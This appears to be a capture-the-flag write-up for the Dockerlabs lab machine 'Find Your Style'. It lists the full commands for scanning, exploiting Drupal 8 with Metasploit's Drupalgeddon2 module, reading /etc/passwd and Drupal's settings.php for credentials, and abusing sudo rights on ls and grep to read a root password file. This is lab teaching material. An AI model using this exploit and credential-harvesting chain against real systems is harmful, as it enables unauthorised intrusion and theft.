Platform	Dockerlabs
OS	Linux
Difficulty	Easy
InitialVector	Drupalgeddon2 (Drupal 8 RCE)
Privesc	/bin/ls /bin/grep

Find Your Style

Information Gathering

I began by verifying connectivity to the target host.

ping -c4 172.17.0.2 

With connectivity confirmed, I ran an Nmap scan to identify exposed services and gather version information.

nmap -sV -sC --min-rate 5000 172.17.0.2 -n -Pn

The scan showed that only port 80 was open.

Web Enumeration

The web service was running Drupal 8. Reviewing robots.txt immediately revealed several interesting paths, including administrative and authentication-related endpoints:

• /core/
• /profiles/
• /README.txt
• /web.config
• /admin/
• /user/login/

This was useful because it confirmed the CMS in use and highlighted areas worth investigating further.

To expand the attack surface, I also launched a directory brute-force scan.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x .php,.txt,.html -r

Very early in the wordlist, Gobuster was already returning a large number of results. Since the target was known to be vulnerable to Drupalgeddon2, there was no need to continue exhaustive directory enumeration before moving to exploitation.

The Drupal login page was available at:

http://172.17.0.2/user/login

Initial Access

Given the Drupal 8 exposure, I used Metasploit's Drupalgeddon2 module to attempt remote code execution.

msfconsole
search drupal 8
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS 172.17.0.2
run

This successfully returned a Meterpreter session. From there, I spawned a more stable interactive shell.

shell
/bin/bash -i
script /dev/null -c bash 
export TERM=xterm

While inspecting the filesystem with ls -la, I noticed a file named shell. I also began basic local enumeration, including reviewing system users through /etc/passwd.

cat /etc/passwd

From this, I identified a likely local user account: ballenita.

Credential Discovery

On Drupal systems, settings.php is always worth checking because it often contains database credentials or other sensitive configuration details in cleartext. I searched for the file across the system.

find / -name settings.php 2>/dev/null

The file was located at:

/var/www/html/sites/default/settings.php

To inspect it more comfortably, I returned to the Meterpreter session and downloaded the file to my machine.

ctrl+z
download /var/www/html/sites/default/settings.php

I then searched the file for references to the previously discovered user.

cat settings.php | grep ballenita

This revealed valid credentials:

ballenita : ballenitafeliz

The previously identified /user/login endpoint suggested these credentials could also be relevant at the web application level. From the shell, I used them directly to switch to the local user.

su ballenita
ballenitafeliz

Privilege Escalation

Once operating as ballenita, I checked the user's sudo privileges.

sudo -l

The output showed that ballenita could run the following binaries as root without a password:

• /bin/ls
• /bin/grep

To understand what was accessible in the root home directory, I first listed its contents.

sudo -u root /bin/ls -la /root

This revealed a file named secretitomaximo.txt.

Since grep was also allowed as root, I used it to read the file contents.

sudo -u root /bin/grep '' /root/secretitomaximo.txt

That exposed a possible root password.

Using the recovered password, I switched to the root account.

su root
nobodycanfindthispasswordrootrocks

This successfully completed privilege escalation.

Conclusion

The compromise path was straightforward:

1. Enumerate the web service and identify a Drupal 8 instance.
2. Exploit the target with Drupalgeddon2 to gain an initial shell.
3. Extract credentials for ballenita from Drupal's settings.php.
4. Abuse overly permissive sudo rights on ls and grep.
5. Recover the root password from a file in /root and escalate successfully.

The system ultimately fell due to a combination of a vulnerable Drupal installation, exposed application credentials, and unsafe sudo permissions.